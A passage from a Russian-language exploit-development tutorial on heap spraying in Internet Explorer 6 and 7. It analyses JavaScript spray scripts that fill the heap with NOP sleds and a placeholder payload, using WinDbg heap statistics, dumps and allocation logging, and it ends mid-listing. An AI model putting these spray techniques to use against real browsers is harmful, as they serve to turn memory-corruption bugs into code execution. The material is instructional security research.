tag +=  unescape('%u\414C%u\214E');   // LAN!

chunk = '';
chunksize = 0x4000; //Увеличиваем размер
nr_of_chunks = 200;

  for ( counter = 0; counter < chunksize; counter++)
{
	chunk +=   unescape('%u\9090%u\9090');	  //nops
}

document.write("size of NOPS at this point : " + chunk.length.toString() + "<br>");
chunk = chunk.substring(0, chunksize - tag.length);
document.write("size of NOPS after substring: " + chunk.length.  toString() +" <br>");

// create the array
testarray =   new   Array();
  for ( counter = 0; counter < nr_of_chunks; counter++)
{
	testarray[counter] = tag + chunk;
	document.write(" Allocated"+ (tag.length + chunk.length).toString() +"  bytes <br>");
}
  alert("Spray done");

Закройте windbg и VMMap и откройте новый файл в IE6.

hs26
Рисунок 26. Результат выполнения сценария

Аттачим windbg к iexplore.exe, когда распыление закончится и повторяем команды:

0:008> !heap -stat
_HEAP 00150000
     Segments            00000005
         Reserved  bytes 01000000
         Committed bytes 009d6000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
<...>
0:008> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    8fc1 cd - 731d8d  (74.54)
    3fff8 2 - 7fff0  (5.18)
    1fff8 3 - 5ffe8  (3.89)
    fff8 5 - 4ffd8  (3.24)
    1ff8 1d - 39f18  (2.35)
    3ff8 b - 2bfa8  (1.78)
    7ff8 4 - 1ffe0  (1.29)
    18fc1 1 - 18fc1  (1.01)
    7ff0 3 - 17fd0  (0.97)
    13fc1 1 - 13fc1  (0.81)
    8000 2 - 10000  (0.65)
    b2e0 1 - b2e0  (0.45)
    ff8 8 - 7fc0  (0.32)
    57e0 1 - 57e0  (0.22)
    20 2ac - 5580  (0.22)
    4ffc 1 - 4ffc  (0.20)
    614 c - 48f0  (0.18)
    3980 1 - 3980  (0.15)
    7f8 7 - 37c8  (0.14)
    580 8 - 2c00  (0.11)

В этом случае, 74,54% выделенных чанков имеют одинаковый размер: 0x8FC1 байт. Мы также видим 0xCD (205) число чанков. Это может быть признаком heap spray. Размер чанка кучи явно ближе к фактическому размеру данных, которые мы использовали и количество чанков также ближе к тому, что мы использовали в скрипте.

Примечание: вы также можете посмотреть аналогичную информацию для всех куч, запустив команду !heap -stat -h.

Далее мы можем посмотреть информацию, отфильтровав по размеру с помощью следующей команды:

0:008> !heap -flt s 0x8fc1
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        001f1800 1200 0000  [01]   001f1808    08fc1 - (busy)
        02419850 1200 1200  [01]   02419858    08fc1 - (busy)
          OLEAUT32!CTypeInfo2::`vftable'
        02958440 1200 1200  [01]   02958448    08fc1 - (busy)
        02988440 1200 1200  [01]   02988448    08fc1 - (busy)
        02991440 1200 1200  [01]   02991448    08fc1 - (busy)
        0299a440 1200 1200  [01]   0299a448    08fc1 - (busy)
        029a3440 1200 1200  [01]   029a3448    08fc1 - (busy)
        029ac440 1200 1200  [01]   029ac448    08fc1 - (busy)
<...>
        02a96440 1200 1200  [01]   02a96448    08fc1 - (busy)
        02a9f440 1200 1200  [01]   02a9f448    08fc1 - (busy)
        02aa8440 1200 1200  [01]   02aa8448    08fc1 - (busy)
        02ab1440 1200 1200  [01]   02ab1448    08fc1 - (busy)
        02aba440 1200 1200  [01]   02aba448    08fc1 - (busy)
        02ac3440 1200 1200  [01]   02ac3448    08fc1 - (busy)
        02ad0040 1200 1200  [01]   02ad0048    08fc1 - (busy)
        02ad9040 1200 1200  [01]   02ad9048    08fc1 - (busy)
        02ae2040 1200 1200  [01]   02ae2048    08fc1 - (busy)
        02aeb040 1200 1200  [01]   02aeb048    08fc1 - (busy)
        02af4040 1200 1200  [01]   02af4048    08fc1 - (busy)
        02afd040 1200 1200  [01]   02afd048    08fc1 - (busy)
        02b06040 1200 1200  [01]   02b06048    08fc1 - (busy)
        02b0f040 1200 1200  [01]   02b0f048    08fc1 - (busy)
        02b18040 1200 1200  [01]   02b18048    08fc1 - (busy)
        02b21040 1200 1200  [01]   02b21048    08fc1 - (busy)
        02b2a040 1200 1200  [01]   02b2a048    08fc1 - (busy)
        02b33040 1200 1200  [01]   02b33048    08fc1 - (busy)
        02b3c040 1200 1200  [01]   02b3c048    08fc1 - (busy)
        02b45040 1200 1200  [01]   02b45048    08fc1 - (busy)
 <...>
        030b4040 1200 1200  [01]   030b4048    08fc1 - (busy)
        030bd040 1200 1200  [01]   030bd048    08fc1 - (busy)

Указатель HEAP_ENTRY является началом выделенной кучи. UserPtr содержит адрес начала данных в куче (который должен быть началом BSTR-объекта).

Сделаем дамп одного чанка из списка (я взял последний):

hs27
Рисунок 27. Дамп памяти по адресу 0x030BD040

Отлично. Мы видим заголовок кучи (первые 8 байт), заголовок BSTR-объекта (4 байта, выделено синим), тег и nops. Заголовок кучи состоит из следующих элементов:

Размер текущего чанка Размер предыдущего чанка CK

img-2019-09-30-11-44-52
Опять-таки, заголовок BSTR-объекта содержит размер в два раза больше, чем мы определили в скрипте, но мы уже знаем, что это результат работы функции length по отношению к unescape-данным. На самом деле мы выделили 0x8000 байт. Length попросту возвращает половину.
Размер чанка кучи превышает 0x8000 байт. Он должен быть немного больше (потому что ему нужно некоторое пространство для хранения собственного заголовка кучи…в данном случае 8 байт, а также пространство для заголовка BSTR-объекта + терминатор (6 байт)). Фактический размер чанка 0x8FFF – что все еще намного больше, чем нам нужно.

Нам удалось заставить IE выделить множество чанков вместо хранения данных в нескольких больших блоках, но мы по-прежнему не нашли нужный размер, чтобы гарантировать минимальную вероятность ошибки (в этом примере у нас 0xFFF байт содержит мусор).
Давайте увеличим размер chunksize до 0x10000.

В результате:

0:008> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    20010 c8 - 1900c80  (95.60)
    8000 5 - 28000  (0.60)
    20000 1 - 20000  (0.48)
    18000 1 - 18000  (0.36)
    7ff0 3 - 17fd0  (0.36)
    13e5c 1 - 13e5c  (0.30)
    b2e0 1 - b2e0  (0.17)
    8c14 1 - 8c14  (0.13)
    20 31c - 6380  (0.09)
    57e0 1 - 57e0  (0.08)
    4ffc 1 - 4ffc  (0.07)
    614 c - 48f0  (0.07)
    3980 1 - 3980  (0.05)
    580 8 - 2c00  (0.04)
    2a4 f - 279c  (0.04)
    20f8 1 - 20f8  (0.03)
    d8 27 - 20e8  (0.03)
    e0 24 - 1f80  (0.03)
    1800 1 - 1800  (0.02)
    17a0 1 - 17a0  (0.02)

Уже намного ближе к нашему ожидаемому значению. 0x10 байт необходимо для заголовка кучи, BSTR-объекта и терминатора. Остальная часть чанка должна быть заполнена нашим тегом + nops.

0:008> !heap -flt s 0x20010
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02897fe0 4003 0000  [01]   02897fe8    20010 - (busy)
        028b7ff8 4003 4003  [01]   028b8000    20010 - (busy)
        028f7018 4003 4003  [01]   028f7020    20010 - (busy)
        02917030 4003 4003  [01]   02917038    20010 - (busy)
        02950040 4003 4003  [01]   02950048    20010 - (busy)
        02970058 4003 4003  [01]   02970060    20010 - (busy)
        02990070 4003 4003  [01]   02990078    20010 - (busy)
        029b0088 4003 4003  [01]   029b0090    20010 - (busy)
        029d00a0 4003 4003  [01]   029d00a8    20010 - (busy)
        029f00b8 4003 4003  [01]   029f00c0    20010 - (busy)
        02a100d0 4003 4003  [01]   02a100d8    20010 - (busy)
        02a300e8 4003 4003  [01]   02a300f0    20010 - (busy)
        02a50100 4003 4003  [01]   02a50108    20010 - (busy)
        02a70118 4003 4003  [01]   02a70120    20010 - (busy)
        02a90130 4003 4003  [01]   02a90138    20010 - (busy)
        02ab0148 4003 4003  [01]   02ab0150    20010 - (busy)
        02ad0160 4003 4003  [01]   02ad0168    20010 - (busy)
        02af0178 4003 4003  [01]   02af0180    20010 - (busy)
        02b10190 4003 4003  [01]   02b10198    20010 - (busy)
        02b50040 4003 4003  [01]   02b50048    20010 - (busy)
<...>

Если чанки расположены рядом, то мы должны это увидеть. Сделаем дамп памяти начала одного из чанков со смещением 0x20000.

hs28
Рисунок 28. Дамп памяти по адресу 0x2B50040 + 0x20000

Хорошо!

Трассировка строк в WinDBG

Трассировка, безусловно, требует определенного навыка. Я воспользуюсь возможностью, чтобы поделиться некоторыми советами по использованию скриптов в WinDBG, чтобы регистрировать выделения.

Я буду использовать следующий скрипт, написанный для XP SP3, который будет логгировать все вызовы к RtlAllocateHeap(), запрашивающий чанк размером больше 0xFFF байт и возвращающий некоторую информацию об этом запросе.

bp ntdll!RtlAllocateHeap+0x117 “r $t0=esp+0xc;.if (poi(@$t0) > 0xfff) {.printf \”RtlAllocateHeap hHEAP 0x%x, \”, poi(@esp+4);.printf \”Size: 0x%x, \”, poi(@$t0);.printf \”Allocate chunk at 0x%x\”, eax;.echo;ln poi(@esp);.echo};g” 
.logopen heapalloc.log
g

Листинг 7. Сценарий для логгирования вызовов к RtlAllocateHeap

Первая строка сценария содержит несколько частей:

  • Брейкпоинт на ntdll.RtAllocateHeap() + 0x117. Это конец функции в XP SP3 (инструкция ret). После возврата мы получим доступ к адресу кучи, который возвращает сама функция, а также к размеру выделенного чанка (значение хранится в стеке). Если вы хотите использовать этот скрипт в другой версии Windows, вам нужно будет найти смещение до конца функции, а также убедиться, что аргументы размещены в стеке в том же порядке, а возвращаемый указатель кучи находится в eax
  • Когда брейкпоинт достигнут, то будет выполнен ряд инструкций (в двойных кавычках). Вы можете разделить команды, используя точку с запятой. Сначала из стека мы берем размер (esp+0xC) и сравниваем с 0xFFF (чтобы избежать записи в лог лишней информации, вы можете изменять это значение по мере необходимости). Далее будет выведена некоторая информация о вызове API и аргументах, в том числе указатель возврата
  • Наконец, «g» говорит отладчику продолжить работу
  • Далее вывод будет помещен в heapalloc.log
  • Наконец, мы говорим отладчику продолжить работу (последняя «g»)

Поскольку нас интересуют только чанки, полученные в результате «распыления», мы не будет запускать этот скрипт, пока мы не достигнем этого самого «распыления». Для этого мы изменим наш javascript-сценарий и вставим алерт с текстом «Ready to spray» прямо перед итерацией в конце скрипта:

// create the array
testarray = new Array();
// insert alert
alert("Ready to spray");
for ( counter = 0; counter < nr_of_chunks; counter++)
{
	testarray[counter] = tag + chunk;
	document.write("Allocated " + (tag.length+chunk.length).toString() + " bytes 
");
}
alert("Spray done")

Откройте страницу в IE6 и подождите пока появится первый алерт. Теперь запустите процесс в WinDBG и вставьте 3 строки сценария, как показано на скриншотах ниже. «g» в конце скрипта скажет GDB продолжить работу процесса.


Рисунок 29. Запуск сценария в WinDBG [1]


Рисунок 30. Запуск сценария в WinDBG [2]

Вернитесь к браузеру и нажмите «OK» во всплывающем окне.

hs31
Рисунок 31. Нажмите «ОК» во всплывающем окне

Heap spray запущен и WinDBG будет логировать все чанки размером больше 0xfff байт. Из-за логирования «распыление» может занять немного больше времени.

Когда скрипт закончил работу, вернитесь к WinDBG и остановите его работу (CTRL + Break).


Рисунок 32. Приостановка работы WInDBG

Также необходимо приостановить логирование с помощью команды .logclose (не забывайте про точку в начале команды).

hs33
Рисунок 33. Остановка логирования

Откройте файл heapalloc.log (в папке WinDBG). Мы знаем, что нам нужно искать чанки размером 0x20010 байт. В начале лога вы должны увидеть что-то вроде этого:

RtlAllocateHeap hHEAP 0x150000, Size: 0x20010, Allocate chunk at 0x2aab048
(774fcfdd)   ole32!CRetailMalloc_Alloc+0x16   |  (774fcffc)   ole32!CoTaskMemFree

Почти все остальные записи должны быть похожи на эту. Лог показывает, что:

  • Мы выделили чанк из кучи по умолчанию (0x00150000)
  • Выделенный размер чанка 0x20010 байт
  • Чанк расположен по адресу 0x2AAB048
  • После размещения чанка мы вернемся к 0x774FCFDD (ole32!CRetailMalloc_Alloc + 0x16), поэтому вызов вызов для размещения строки будет прямо перед этим адресом.

После дизасемблирования функции CretailMalloc_Alloc мы увидим:

0:009> u 774fcfcd
ole32!CRetailMalloc_Alloc:
774fcfcd 8bff            mov     edi,edi
774fcfcf 55              push    ebp
774fcfd0 8bec            mov     ebp,esp
774fcfd2 ff750c          push    dword ptr [ebp+0Ch]
774fcfd5 6a00            push    0
774fcfd7 ff3500706077    push    dword ptr [ole32!g_hHeap (77607000)]
774fcfdd ff15a0124e77    call    dword ptr [ole32!_imp__HeapAlloc (774e12a0)]
774fcfe3 5d              pop     ebp
0:009> u
ole32!CRetailMalloc_Alloc+0x17:
774fcfe4 c20800          ret     8

Повторим упражнение, но вместо того, чтобы использовать скрипт, мы просто установим брейкпоинт на ole32!CRetailMalloc_Alloc (там, где всплывает первый алерт). Нажмите F5 в WInDBG, чтобы процесс запустился заново, а затем нажмите «OK», чтобы начать heap spray.
WinDBG должен теперь достичь брейкпоинта:

hs34
Рисунок 34. Запуск процесса после установки брейкпоинта

Теперь нам нужно выяснить откуда был совершен вызов CRetailMalloc_Alloc, а также где/как расположены наши строки в процессе браузера. Мы уже видим размер в esi (0x20010), это значит, что размер уже был передан какой-то предыдущей подпрограммой. Вы можете отобразить стек вызовов, выполнив команду «kb». Должно получиться что-то вроде этого:

0:000> kb
ChildEBP RetAddr  Args to Child
0013e1d8 77124b32 77607034 00020010 00038ae8 ole32!CRetailMalloc_Alloc
0013e1ec 77124c5f 00020010 00038b28 0013e214 OLEAUT32!APP_DATA::AllocCachedMem+0x4f
0013e1fc 75c61e8d 00000000 001937d8 00038bc8 OLEAUT32!SysAllocStringByteLen+0x2e
0013e214 75c61e12 00020000 00039510 0013e444 jscript!PvarAllocBstrByteLen+0x2e
0013e230 75c61da6 00039520 0001fff8 00038b28 jscript!ConcatStrs+0x55
0013e258 75c61bf4 0013e51c 00039a28 0013e70c jscript!CScriptRuntime::Add+0xd4
0013e430 75c54d34 0013e51c 75c51b40 0013e51c jscript!CScriptRuntime::Run+0x10d8
0013e4f4 75c5655f 0013e51c 00000000 00000000 jscript!ScrFncObj::Call+0x69
0013e56c 75c5cf2c 00039a28 0013e70c 00000000 jscript!CSession::Execute+0xb2
0013e5bc 75c5eeb4 0013e70c 0013e6ec 75c57fdc jscript!COleScript::ExecutePendingScripts+0x14f
0013e61c 75c5ed06 001d0f0c 013773a4 00000000 jscript!COleScript::ParseScriptTextCore+0x221
0013e648 7d530222 00037ff4 001d0f0c 013773a4 jscript!COleScript::ParseScriptText+0x2b
0013e6a0 7d5300f4 00000000 01378f20 00000000 mshtml!CScriptCollection::ParseScriptText+0xea
0013e754 7d52ff69 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x1c2
0013e78c 7d52e14b 01377760 0649ab4e 00000000 mshtml!CScriptElement::Execute+0xa4
0013e7d8 7d4f8307 01378100 01377760 7d516bd0 mshtml!CHtmParse::Execute+0x41

Листинг 8. Результат вывода команды «kb»

Стек вызовов говорит нам, что oleaut32.dll каким-то образом используется для размещения строк в памяти. По-видимому, также задействован некоторый механизм кеширования (OLEAUT32!APP_DATA::AllocCachedMem). Мы поговорим об этом чуть позже в главе о heaplib.
Если вы хотите увидеть, как и когда тег записывается в чанк, запустите javascript снова и остановитесь на первом алерте и сделайте следующее:

  • Найдите адрес тега: s -a 0x00000000 L?0x7fffffff “Corelan” (допустим, возвращаемое значение будет 0x001CE084)
  • Установите брейкпоинт на «чтение» этого адреса: ba r 4 0x001CE084
  • Запустите: g

Нажмите «OK» во всплывающем окне, чтобы запустить цикл. Как только тег будет прочитан и отладчик остановится, то мы увидим:

0:008> ba r 4 001ce084
0:008> g
Breakpoint 0 hit
eax=00038a28 ebx=00038b08 ecx=00000001 edx=00000008 esi=001ce088 edi=002265d8
eip=75c61e27 esp=0013e220 ebp=0013e230 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript!ConcatStrs+0x66:
75c61e27 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

Листинг выглядит как memcpy() в jscript!ConcatStrs(), копирующий тег в чанк кучи (из [esi] в [edi]).

В нашем html-файле мы объединяем две строки вместе, поэтому nops и тег записываются отдельно. Это отчетливо видно на скриншоте ниже. В edi уже находятся nops, а в следующей итерации будет скопировано еще 4 байта из esi. В качестве счетчика в данном случае используется ecx, равный 0x1.

hs35
Рисунок 35. Конкатенация тега и nops через регистры esi, edi

Давайте посмотрим, что происходит в IE7, используя тот же скрипт.

Тестируем тот же скрипт в IE7

При открытии html-файла (spary1c.html) в IE7 с правами на запуск javascript windbg показывает, что нам удалось выполнить heap spray:

0:013> s -a 0x00000000 L?0x7fffffff "CORELAN"
0017b674  43 4f 52 45 4c 41 4e 21-00 00 00 00 20 83 a3 ea  CORELAN!.... ...
033c2094  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
039e004c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03a4104c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03a6204c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03aa104c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03ac204c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03ae304c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03b0404c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03b2504c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03b4604c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03b6704c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........
03b8804c  43 4f 52 45 4c 41 4e 21-90 90 90 90 90 90 90 90  CORELAN!........

Теперь определим размер чанков:

0:013> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    20fc1 c9 - 19e5e89  (87.95)
    1fff8 7 - dffc8  (2.97)
    3fff8 2 - 7fff0  (1.70)
    fff8 6 - 5ffd0  (1.27)
    7ff8 9 - 47fb8  (0.95)
    1ff8 24 - 47ee0  (0.95)
    3ff8 f - 3bf88  (0.80)
    8fc1 5 - 2cec5  (0.60)
    18fc1 1 - 18fc1  (0.33)
    7ff0 3 - 17fd0  (0.32)
    13fc1 1 - 13fc1  (0.27)
    7f8 1d - e718  (0.19)
    b2e0 1 - b2e0  (0.15)
    ff8 b - afa8  (0.15)
    7db4 1 - 7db4  (0.10)
    614 13 - 737c  (0.10)
    57e0 1 - 57e0  (0.07)
    20 294 - 5280  (0.07)
    4ffc 1 - 4ffc  (0.07)
    3f8 13 - 4b68  (0.06)

Мы также можем определить размер чанка, на основании одного из адресов:

0:013> !heap -p -a 03b8804c
    address 03b8804c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03b88040 4200 0000  [01]   03b88048    20fc1 - (busy)

UserSize в данном случае больше, чем в IE6, поэтому «дыры» между двумя чанками будут больше. Поскольку весь чанк в целом больше (и содержит больше nops), чем в первых двух сценариях, то это не должно составить большой проблемы (нам просто нужно увеличить объем входных данных).

Ингредиенты для качественного heap spray

Наши тесты показали, что мы должны постараться минимизировать пространство между двумя чанками. Если мы хотим сделать “jump” к адресу кучи, то необходимо следовать этому правилу. Чем меньше это пространство, тем ниже риск ошибиться. Jump на нопслед в нашем «распылении» будет более надежным, если мы сможем привести базовый адрес каждого чанка к одному значению.

Скрипт, который мы до сих пор использовали смог инициировать идеальные чанки в IE6 и чанки большего размера в IE7.

Скорость также имеет значение. При heap spray браузер может перестать отвечать на запросы, если это займет слишком много времени. Пользователь может попросту закрыть браузер, так и не дождавшись ответа.

Подводя итог, качественный heap spray в IE6 и IE7:

  • Должен быть быстрым. Необходимо найти баланс между размером блока и количеством итераций.
  • Должен быть надежным. Адрес для перехода (об этом подробнее позже) должен каждый раз указывать на nops.

В следующей главе мы рассмотрим оптимизированную версию скрипта и убедимся в его скорости и надежности. Нам также все еще нужно выяснить по какому адресу осуществлять переход и как это влияет на выполнение скрипта. В конце концов вы увидите, что адреса, по которым располагаются наши чанки, при каждом запуске IE будут отличаться. Таким образом, мы еще не достигли конечной цели. Прежде чем взглянуть на улучшенную версию скрипта, я хочу объяснить такую вещь, как сборщик мусора.

Сборщик мусора

Javascript является скриптовым языком и не требует от вас управления памятью. Вам не нужно думать об очистке памяти при создании объектов или переменных. В IE javascript-движке есть процесс, называемый «сборщик мусора», который обнаруживает фрагмены, которые можно удалить из памяти. Переменная, объявленная с помощью ключевого слова «var» не будет удалена сборщиком, т.к. имеет глобальную область видимости. Другие переменные и объекты за пределами области видимости (скоупа), или помеченные для удаления, будут удалены сборщиком мусора при следующем запуске. Мы поговорим подробнее о сборщике мусора в главе heaplib.

Heap spray скрипт

Часто используемый скрипт

Быстрый поиск по запросу «heap spray for IE6 and IE7» на Exploit-DB возвращает приблизительно тот же скрипт, который мы уже использовали:

shellcode = unescape('%u\4141%u\4141');
bigblock = unescape('%u\9090%u\9090');
headersize = 20;
slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0,slackspace);
block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (i = 0; i < 500; i++){ 
memory[i] = block + shellcode 
}

Сценарий использует большие чанки и «распыляет» их 500 раз. Запустим его в IE6, IE7 и посмотрим статистику кучи.

IE6 (UserSize 0x7FFE0)**

0:008> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f5 - fa7c160  (99.67)
    13e5c 1 - 13e5c  (0.03)
    118dc 1 - 118dc  (0.03)
    8000 2 - 10000  (0.02)
    b2e0 1 - b2e0  (0.02)
    8c14 1 - 8c14  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fb0 1 - 7fb0  (0.01)
    7b94 1 - 7b94  (0.01)
    20 31a - 6340  (0.01)
    57e0 1 - 57e0  (0.01)
    4ffc 1 - 4ffc  (0.01)
    614 c - 48f0  (0.01)
    3fe0 1 - 3fe0  (0.01)
    3fb0 1 - 3fb0  (0.01)
    3980 1 - 3980  (0.01)
    580 8 - 2c00  (0.00)
    2a4 f - 279c  (0.00)
    d8 26 - 2010  (0.00)
    1fe0 1 - 1fe0  (0.00)

Листинг 9. Состояние кучи

0:008> !heap -flt s 0x7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02950018 fffc 0000  [0b]   02950020    7ffe0 - (busy VirtualAlloc)
        028d0018 fffc fffc  [0b]   028d0020    7ffe0 - (busy VirtualAlloc)
        029d0018 fffc fffc  [0b]   029d0020    7ffe0 - (busy VirtualAlloc)
        02a50018 fffc fffc  [0b]   02a50020    7ffe0 - (busy VirtualAlloc)
        02ad0018 fffc fffc  [0b]   02ad0020    7ffe0 - (busy VirtualAlloc)
        02b50018 fffc fffc  [0b]   02b50020    7ffe0 - (busy VirtualAlloc)
        02bd0018 fffc fffc  [0b]   02bd0020    7ffe0 - (busy VirtualAlloc)
        02c50018 fffc fffc  [0b]   02c50020    7ffe0 - (busy VirtualAlloc)
        02cd0018 fffc fffc  [0b]   02cd0020    7ffe0 - (busy VirtualAlloc)
        02d50018 fffc fffc  [0b]   02d50020    7ffe0 - (busy VirtualAlloc)
        02dd0018 fffc fffc  [0b]   02dd0020    7ffe0 - (busy VirtualAlloc)
<...>
        0bf80018 fffc fffc  [0b]   0bf80020    7ffe0 - (busy VirtualAlloc)
        0c000018 fffc fffc  [0b]   0c000020    7ffe0 - (busy VirtualAlloc)
        0c080018 fffc fffc  [0b]   0c080020    7ffe0 - (busy VirtualAlloc)
        0c100018 fffc fffc  [0b]   0c100020    7ffe0 - (busy VirtualAlloc)
        0c180018 fffc fffc  [0b]   0c180020    7ffe0 - (busy VirtualAlloc)
        0c200018 fffc fffc  [0b]   0c200020    7ffe0 - (busy VirtualAlloc)
        0c280018 fffc fffc  [0b]   0c280020    7ffe0 - (busy VirtualAlloc)
        0c300018 fffc fffc  [0b]   0c300020    7ffe0 - (busy VirtualAlloc)

Листинг 10. Первый запуск

0:008> !heap -flt s 0x7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02950018 fffc 0000  [0b]   02950020    7ffe0 - (busy VirtualAlloc)
        02630018 fffc fffc  [0b]   02630020    7ffe0 - (busy VirtualAlloc)
        029d0018 fffc fffc  [0b]   029d0020    7ffe0 - (busy VirtualAlloc)
        02a50018 fffc fffc  [0b]   02a50020    7ffe0 - (busy VirtualAlloc)
        02ad0018 fffc fffc  [0b]   02ad0020    7ffe0 - (busy VirtualAlloc)
        02b50018 fffc fffc  [0b]   02b50020    7ffe0 - (busy VirtualAlloc)
        02bd0018 fffc fffc  [0b]   02bd0020    7ffe0 - (busy VirtualAlloc)
        02c50018 fffc fffc  [0b]   02c50020    7ffe0 - (busy VirtualAlloc)
        02cd0018 fffc fffc  [0b]   02cd0020    7ffe0 - (busy VirtualAlloc)
        02d50018 fffc fffc  [0b]   02d50020    7ffe0 - (busy VirtualAlloc)
        02dd0018 fffc fffc  [0b]   02dd0020    7ffe0 - (busy VirtualAlloc)
        02e50018 fffc fffc  [0b]   02e50020    7ffe0 - (busy VirtualAlloc)
        02ed0018 fffc fffc  [0b]   02ed0020    7ffe0 - (busy VirtualAlloc)
<...>
        0bf00018 fffc fffc  [0b]   0bf00020    7ffe0 - (busy VirtualAlloc)
        0bf80018 fffc fffc  [0b]   0bf80020    7ffe0 - (busy VirtualAlloc)
        0c000018 fffc fffc  [0b]   0c000020    7ffe0 - (busy VirtualAlloc)
        0c080018 fffc fffc  [0b]   0c080020    7ffe0 - (busy VirtualAlloc)
        0c100018 fffc fffc  [0b]   0c100020    7ffe0 - (busy VirtualAlloc)
        0c180018 fffc fffc  [0b]   0c180020    7ffe0 - (busy VirtualAlloc)
        0c200018 fffc fffc  [0b]   0c200020    7ffe0 - (busy VirtualAlloc)
        0c280018 fffc fffc  [0b]   0c280020    7ffe0 - (busy VirtualAlloc)
        0c300018 fffc fffc  [0b]   0c300020    7ffe0 - (busy VirtualAlloc)
        0c380018 fffc fffc  [0b]   0c380020    7ffe0 - (busy VirtualAlloc)
<...>

Листинг 11. Второй запуск

В обоих случаях:

  • Мы видим паттерн (HeapEntry начинается с 0x….0018)
  • Старшие адреса в обоих случаях выглядят одинаковыми
  • Размер блоков по-видимому был определен с помощью функции VirtualAlloc()

Кроме того, чанки кажутся заполненными. Если мы сделаем дамп одного из чанков по смещению 0x7FFe0 – 40 (конец чанка), то увидим следующее:

0:008> d 0c800020+7ffe0-40
0c87ffc0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c87ffd0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c87ffe0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c87fff0  90 90 90 90 90 90 90 90-41 41 41 41 00 00 00 00  ........AAAA....
0c880000  00 00 90 0c 00 00 80 0c-00 00 00 00 00 00 00 00  ................
0c880010  00 00 08 00 00 00 08 00-20 00 00 00 00 0b 00 00  ........ .......
0c880020  d8 ff 07 00 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c880030  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Давайте попробуем проделать тоже самое в IE7.

IE7 (UserSize 0x7FFE0)**

0:013> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f5 - fa7c160  (98.76)
    1fff8 6 - bffd0  (0.30)
    3fff8 2 - 7fff0  (0.20)
    fff8 5 - 4ffd8  (0.12)
    7ff8 9 - 47fb8  (0.11)
    1ff8 20 - 3ff00  (0.10)
    3ff8 e - 37f90  (0.09)
    13fc1 1 - 13fc1  (0.03)
    12fc1 1 - 12fc1  (0.03)
    8fc1 2 - 11f82  (0.03)
    b2e0 1 - b2e0  (0.02)
    7f8 15 - a758  (0.02)
    ff8 a - 9fb0  (0.02)
    7ff0 1 - 7ff0  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fc1 1 - 7fc1  (0.01)
    7db4 1 - 7db4  (0.01)
    614 13 - 737c  (0.01)
    57e0 1 - 57e0  (0.01)
    20 294 - 5280  (0.01)

Листинг 12. Состояние кучи

0:013> !heap -flt s 0x7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03e70018 fffc 0000  [0b]   03e70020    7ffe0 - (busy VirtualAlloc)
        03de0018 fffc fffc  [0b]   03de0020    7ffe0 - (busy VirtualAlloc)
        03f00018 fffc fffc  [0b]   03f00020    7ffe0 - (busy VirtualAlloc)
        03f90018 fffc fffc  [0b]   03f90020    7ffe0 - (busy VirtualAlloc)
        04020018 fffc fffc  [0b]   04020020    7ffe0 - (busy VirtualAlloc)
        040b0018 fffc fffc  [0b]   040b0020    7ffe0 - (busy VirtualAlloc)
        04140018 fffc fffc  [0b]   04140020    7ffe0 - (busy VirtualAlloc)
        041d0018 fffc fffc  [0b]   041d0020    7ffe0 - (busy VirtualAlloc)
        04260018 fffc fffc  [0b]   04260020    7ffe0 - (busy VirtualAlloc)
        042f0018 fffc fffc  [0b]   042f0020    7ffe0 - (busy VirtualAlloc)
        04380018 fffc fffc  [0b]   04380020    7ffe0 - (busy VirtualAlloc)
        04410018 fffc fffc  [0b]   04410020    7ffe0 - (busy VirtualAlloc)
